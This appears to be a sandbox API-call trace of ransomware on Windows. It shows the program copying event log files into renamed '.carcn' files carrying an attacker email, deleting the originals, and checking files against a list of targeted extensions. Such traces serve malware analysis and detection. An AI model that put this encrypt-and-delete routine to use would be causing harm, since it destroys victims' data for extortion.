(lpString="Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 42 [0182.194] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0182.207] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2eaff14 | out: lpFileSize=0x2eaff14*=69632) returned 1 [0182.207] CloseHandle (hObject=0x38c) returned 1 [0182.207] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx")) returned 0x20 [0182.207] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0182.207] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0182.207] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0182.207] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0182.207] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0182.207] GetLastError () returned 0x0 [0182.207] ReadFile (in: hFile=0x38c, lpBuffer=0x39cd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eafecc, lpOverlapped=0x0 | out: lpBuffer=0x39cd020*, lpNumberOfBytesRead=0x2eafecc*=0x11000, lpOverlapped=0x0) returned 1 [0182.370] WriteFile (in: hFile=0x398, lpBuffer=0x39cd020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2eafc94, lpOverlapped=0x0 | out: lpBuffer=0x39cd020*, lpNumberOfBytesWritten=0x2eafc94*=0x11010, lpOverlapped=0x0) returned 1 [0182.372] ReadFile (in: hFile=0x38c, lpBuffer=0x39cd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eafecc, lpOverlapped=0x0 | out: lpBuffer=0x39cd020*, lpNumberOfBytesRead=0x2eafecc*=0x0, lpOverlapped=0x0) returned 1 [0182.372] WriteFile (in: hFile=0x398, lpBuffer=0x39cd020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x2eafc94, lpOverlapped=0x0 | out: lpBuffer=0x39cd020*, lpNumberOfBytesWritten=0x2eafc94*=0x128, lpOverlapped=0x0) returned 1 [0182.372] SetEndOfFile (hFile=0x398) returned 1 [0182.372] CloseHandle (hObject=0x398) returned 1 [0182.373] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0182.373] SetEndOfFile (hFile=0x38c) returned 1 [0182.374] CloseHandle (hObject=0x38c) returned 1 [0182.374] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0182.375] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx")) returned 1 [0182.375] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0182.375] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0182.375] lstrlenW (lpString=".doc") returned 4 [0182.375] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0182.375] lstrlenW (lpString=".docx") returned 5 [0182.375] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0182.375] lstrlenW (lpString=".pdf") returned 4 [0182.375] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0182.375] lstrlenW (lpString=".xls") returned 4 [0182.375] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0182.375] lstrlenW (lpString=".xlsx") returned 5 [0182.375] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0182.375] lstrlenW (lpString=".ppt") returned 4 [0182.375] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0182.375] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0182.375] lstrlenW (lpString=".zip") returned 4 [0182.375] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0182.375] lstrlenW (lpString=".rar") returned 4 [0182.375] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0182.375] lstrlenW (lpString=".bz2") returned 4 [0182.375] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0182.375] lstrlenW (lpString=".7z") returned 3 [0182.376] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0182.376] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0182.376] lstrlenW (lpString=".dbf") returned 4 [0182.376] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0182.376] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0182.376] lstrlenW (lpString=".1cd") returned 4 [0182.376] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0182.376] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0182.376] lstrlenW (lpString=".jpg") returned 4 [0182.376] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0182.376] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0182.376] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0182.376] lstrlenW (lpString=".doc") returned 4 [0182.376] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0182.376] lstrlenW (lpString=".docx") returned 5 [0182.376] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0182.376] lstrlenW (lpString=".pdf") returned 4 [0182.376] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0182.376] lstrlenW (lpString=".xls") returned 4 [0182.376] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0182.376] lstrlenW (lpString=".xlsx") returned 5 [0182.376] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0182.376] lstrlenW (lpString=".ppt") returned 4 [0182.376] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0182.376] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0182.376] lstrlenW (lpString=".zip") returned 4 [0182.376] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0182.376] lstrlenW (lpString=".rar") returned 4 [0182.376] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0182.376] lstrlenW (lpString=".bz2") returned 4 [0182.376] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0182.376] lstrlenW (lpString=".7z") returned 3 [0182.377] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0182.377] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0182.377] lstrlenW (lpString=".dbf") returned 4 [0182.377] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0182.377] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0182.377] lstrlenW (lpString=".1cd") returned 4 [0182.377] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0182.377] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0182.377] lstrlenW (lpString=".jpg") returned 4 [0182.377] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0182.377] lstrcmpiW (lpString1=".evtx", lpString2=".carcn") returned 1 [0182.377] lstrlenW (lpString="Microsoft-Windows-Winlogon%4Operational.evtx") returned 44 [0182.377] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0182.377] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2eaff14 | out: lpFileSize=0x2eaff14*=69632) returned 1 [0182.377] CloseHandle (hObject=0x38c) returned 1 [0182.377] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx")) returned 0x20 [0182.377] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0182.378] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0182.378] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0182.378] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0182.378] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0182.378] GetLastError () returned 0x0 [0182.378] ReadFile (in: hFile=0x38c, lpBuffer=0x39cd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eafecc, lpOverlapped=0x0 | out: lpBuffer=0x39cd020*, lpNumberOfBytesRead=0x2eafecc*=0x11000, lpOverlapped=0x0) returned 1 [0182.633] WriteFile (in: hFile=0x398, lpBuffer=0x39cd020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2eafc94, lpOverlapped=0x0 | out: lpBuffer=0x39cd020*, lpNumberOfBytesWritten=0x2eafc94*=0x11010, lpOverlapped=0x0) returned 1 [0182.634] ReadFile (in: hFile=0x38c, lpBuffer=0x39cd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eafecc, lpOverlapped=0x0 | out: lpBuffer=0x39cd020*, lpNumberOfBytesRead=0x2eafecc*=0x0, lpOverlapped=0x0) returned 1 [0182.634] WriteFile (in: hFile=0x398, lpBuffer=0x39cd020*, nNumberOfBytesToWrite=0x12c, lpNumberOfBytesWritten=0x2eafc94, lpOverlapped=0x0 | out: lpBuffer=0x39cd020*, lpNumberOfBytesWritten=0x2eafc94*=0x12c, lpOverlapped=0x0) returned 1 [0182.634] SetEndOfFile (hFile=0x398) returned 1 [0182.634] CloseHandle (hObject=0x398) returned 1 [0182.636] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0182.636] SetEndOfFile (hFile=0x38c) returned 1 [0182.637] CloseHandle (hObject=0x38c) returned 1 [0182.637] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0182.638] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx")) returned 1 [0182.638] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52 [0182.638] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52 [0182.638] lstrlenW (lpString=".doc") returned 4 [0182.638] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0182.638] lstrlenW (lpString=".docx") returned 5 [0182.638] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0182.638] lstrlenW (lpString=".pdf") returned 4 [0182.638] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0182.638] lstrlenW (lpString=".xls") returned 4 [0182.638] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0182.638] lstrlenW (lpString=".xlsx") returned 5 [0182.638] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0182.638] lstrlenW (lpString=".ppt") returned 4 [0182.638] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0182.638] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52 [0182.638] lstrlenW (lpString=".zip") returned 4 [0182.638] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0182.638] lstrlenW (lpString=".rar") returned 4 [0182.638] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0182.638] lstrlenW (lpString=".bz2") returned 4 [0182.638] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0182.638] lstrlenW (lpString=".7z") returned 3 [0182.639] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0182.639] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52 [0182.639] lstrlenW (lpString=".dbf") returned 4 [0182.639] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0182.639] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52 [0182.639] lstrlenW (lpString=".1cd") returned 4 [0182.639] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0182.639] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52 [0182.639] lstrlenW (lpString=".jpg") returned 4 [0182.639] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0182.639] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52 [0182.639] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52 [0182.639] lstrlenW (lpString=".doc") returned 4 [0182.639] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0182.639] lstrlenW (lpString=".docx") returned 5 [0182.639] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0182.639] lstrlenW (lpString=".pdf") returned 4 [0182.639] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0182.639] lstrlenW (lpString=".xls") returned 4 [0182.639] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0182.639] lstrlenW (lpString=".xlsx") returned 5 [0182.639] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0182.639] lstrlenW (lpString=".ppt") returned 4 [0182.639] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0182.639] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52 [0182.639] lstrlenW (lpString=".zip") returned 4 [0182.639] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0182.639] lstrlenW (lpString=".rar") returned 4 [0182.639] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0182.639] lstrlenW (lpString=".bz2") returned 4 [0182.639] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0182.639] lstrlenW (lpString=".7z") returned 3 [0182.639] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0182.640] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52 [0182.640] lstrlenW (lpString=".dbf") returned 4 [0182.640] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0182.640] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52 [0182.640] lstrlenW (lpString=".1cd") returned 4 [0182.640] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0182.640] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52 [0182.640] lstrlenW (lpString=".jpg") returned 4 [0182.640] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0182.640] lstrcmpiW (lpString1=".evtx", lpString2=".carcn") returned 1 [0182.640] lstrlenW (lpString="Security.evtx") returned 13 [0182.640] CreateFileW (lpFileName="C:\\Logs\\Security.evtx" (normalized: "c:\\logs\\security.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0182.640] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2eaff14 | out: lpFileSize=0x2eaff14*=1118208) returned 1 [0182.640] CloseHandle (hObject=0x38c) returned 1 [0182.640] GetFileAttributesW (lpFileName="C:\\Logs\\Security.evtx" (normalized: "c:\\logs\\security.evtx")) returned 0x20 [0182.640] GetFileAttributesW (lpFileName="C:\\Logs\\Security.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\security.evtx.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0182.640] CreateFileW (lpFileName="C:\\Logs\\Security.evtx" (normalized: "c:\\logs\\security.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0182.640] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0182.641] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0182.641] CreateFileW (lpFileName="C:\\Logs\\Security.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\security.evtx.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0182.642] GetLastError () returned 0x0 [0182.642] ReadFile (in: hFile=0x38c, lpBuffer=0x39cd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eafecc, lpOverlapped=0x0 | out: lpBuffer=0x39cd020*, lpNumberOfBytesRead=0x2eafecc*=0xffff0, lpOverlapped=0x0) returned 1 [0182.743] WriteFile (in: hFile=0x398, lpBuffer=0x39cd020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2eafc94, lpOverlapped=0x0 | out: lpBuffer=0x39cd020*, lpNumberOfBytesWritten=0x2eafc94*=0xffff0, lpOverlapped=0x0) returned 1 [0182.757] ReadFile (in: hFile=0x38c, lpBuffer=0x39cd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eafecc, lpOverlapped=0x0 | out: lpBuffer=0x39cd020*, lpNumberOfBytesRead=0x2eafecc*=0x11010, lpOverlapped=0x0) returned 1 [0182.802] WriteFile (in: hFile=0x398, lpBuffer=0x39cd020*, nNumberOfBytesToWrite=0x11020, lpNumberOfBytesWritten=0x2eafc94, lpOverlapped=0x0 | out: lpBuffer=0x39cd020*, lpNumberOfBytesWritten=0x2eafc94*=0x11020, lpOverlapped=0x0) returned 1 [0182.820] ReadFile (in: hFile=0x38c, lpBuffer=0x39cd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eafecc, lpOverlapped=0x0 | out: lpBuffer=0x39cd020*, lpNumberOfBytesRead=0x2eafecc*=0x0, lpOverlapped=0x0) returned 1 [0182.820] WriteFile (in: hFile=0x398, lpBuffer=0x39cd020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2eafc94, lpOverlapped=0x0 | out: lpBuffer=0x39cd020*, lpNumberOfBytesWritten=0x2eafc94*=0xee, lpOverlapped=0x0) returned 1 [0182.820] SetEndOfFile (hFile=0x398) returned 1 [0182.821] CloseHandle (hObject=0x398) returned 1 [0182.841] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0182.841] SetEndOfFile (hFile=0x38c) returned 1 [0182.842] CloseHandle (hObject=0x38c) returned 1 [0182.842] SetFileAttributesW (lpFileName="C:\\Logs\\Security.evtx.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0182.842] DeleteFileW (lpFileName="C:\\Logs\\Security.evtx" (normalized: "c:\\logs\\security.evtx")) returned 1 [0184.581] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21 [0184.581] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21 [0184.581] lstrlenW (lpString=".doc") returned 4 [0184.581] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0184.581] lstrlenW (lpString=".docx") returned 5 [0184.581] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0184.581] lstrlenW (lpString=".pdf") returned 4 [0184.581] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0184.581] lstrlenW (lpString=".xls") returned 4 [0184.581] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0184.581] lstrlenW (lpString=".xlsx") returned 5 [0184.581] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0184.581] lstrlenW (lpString=".ppt") returned 4 [0184.581] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0184.581] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21 [0184.581] lstrlenW (lpString=".zip") returned 4 [0184.581] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0184.581] lstrlenW (lpString=".rar") returned 4 [0184.581] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0184.581] lstrlenW (lpString=".bz2") returned 4 [0184.581] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0184.581] lstrlenW (lpString=".7z") returned 3 [0184.582] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0184.582] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21 [0184.582] lstrlenW (lpString=".dbf") returned 4 [0184.582] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0184.582] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21 [0184.582] lstrlenW (lpString=".1cd") returned 4 [0184.582] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0184.582] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21 [0184.582] lstrlenW (lpString=".jpg") returned 4 [0184.582] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0184.582] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21 [0184.582] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21 [0184.582] lstrlenW (lpString=".doc") returned 4 [0184.582] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0184.582] lstrlenW (lpString=".docx") returned 5 [0184.582] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0184.582] lstrlenW (lpString=".pdf") returned 4 [0184.582] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0184.582] lstrlenW (lpString=".xls") returned 4 [0184.582] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0184.582] lstrlenW (lpString=".xlsx") returned 5 [0184.582] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0184.582] lstrlenW (lpString=".ppt") returned 4 [0184.582] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0184.582] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21 [0184.582] lstrlenW (lpString=".zip") returned 4 [0184.582] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0184.582] lstrlenW (lpString=".rar") returned 4 [0184.582] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0184.582] lstrlenW (lpString=".bz2") returned 4 [0184.582] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0184.582] lstrlenW (lpString=".7z") returned 3 [0184.582] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0184.583] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21 [0184.583] lstrlenW (lpString=".dbf") returned 4 [0184.583] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0184.583] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21 [0184.583] lstrlenW (lpString=".1cd") returned 4 [0184.583] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0184.583] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21 [0184.583] lstrlenW (lpString=".jpg") returned 4 [0184.583] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0184.583] lstrcmpiW (lpString1=".sys", lpString2=".carcn") returned 1 [0184.583] lstrlenW (lpString="pagefile.sys") returned 12 [0184.583] CreateFileW (lpFileName="C:\\pagefile.sys" (normalized: "c:\\pagefile.sys"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0184.583] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0184.583] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0184.583] lstrlenW (lpString=".doc") returned 4 [0184.583] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1 [0184.583] lstrlenW (lpString=".docx") returned 5 [0184.583] lstrcmpiW (lpString1=".docx", lpString2="e.sys") returned -1 [0184.583] lstrlenW (lpString=".pdf") returned 4 [0184.583] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1 [0184.583] lstrlenW (lpString=".xls") returned 4 [0184.583] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1 [0184.583] lstrlenW (lpString=".xlsx") returned 5 [0184.583] lstrcmpiW (lpString1=".xlsx", lpString2="e.sys") returned -1 [0184.583] lstrlenW (lpString=".ppt") returned 4 [0184.583] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1 [0184.583] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0184.583] lstrlenW (lpString=".zip") returned 4 [0184.584] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1 [0184.584] lstrlenW (lpString=".rar") returned 4 [0184.584] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1 [0184.584] lstrlenW (lpString=".bz2") returned 4 [0184.584] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1 [0184.584] lstrlenW (lpString=".7z") returned 3 [0184.584] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1 [0184.584] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0184.584] lstrlenW (lpString=".dbf") returned 4 [0184.584] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1 [0184.584] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0184.584] lstrlenW (lpString=".1cd") returned 4 [0184.584] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1 [0184.584] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0184.584] lstrlenW (lpString=".jpg") returned 4 [0184.584] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0184.584] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0184.584] lstrlenW (lpString="C:\\pagefile.sys") returned 15 